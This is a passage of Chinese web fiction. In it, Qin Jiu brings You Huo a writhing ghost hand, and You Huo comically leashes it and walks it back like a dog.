秦究晃了晃手指,钥匙叮当作响,“靠备用钥匙。” 游惑不满:“不能先敲门?” 秦究:“……” 真有脸说。 “你手上又是什么东西?”游惑的目光落在他另一只手上。 那里,某个惨白的玩意儿正疯狂扭动。 秦究把手臂拎到他面前,毫无起伏地时候:“Surprise,送你的晚安礼物,喜欢么?” 游惑:“???” “这东西赶来剁你的头,你没有理他,他就找上了我。”秦究说,“劳驾你有点考生的自觉,处理一下。” 游惑被这睁眼送温暖的举动恶心了五分钟。 对秦究说:“给我。” 秦究以为他要弄死或者埋了,谁知这位别出心裁的考生把皮绳松了松,一端拎在手里,另一端扣着鬼手放在地上。 “你要干什么?” “看不出么?它扭成这样肯定要走,我遛它回去。”游惑说。 秦究:“???” 二十分钟后,林子里冻傻了的一群人,远远看见某位大佬遛着一只狗……不,一只手,直接朝这来了!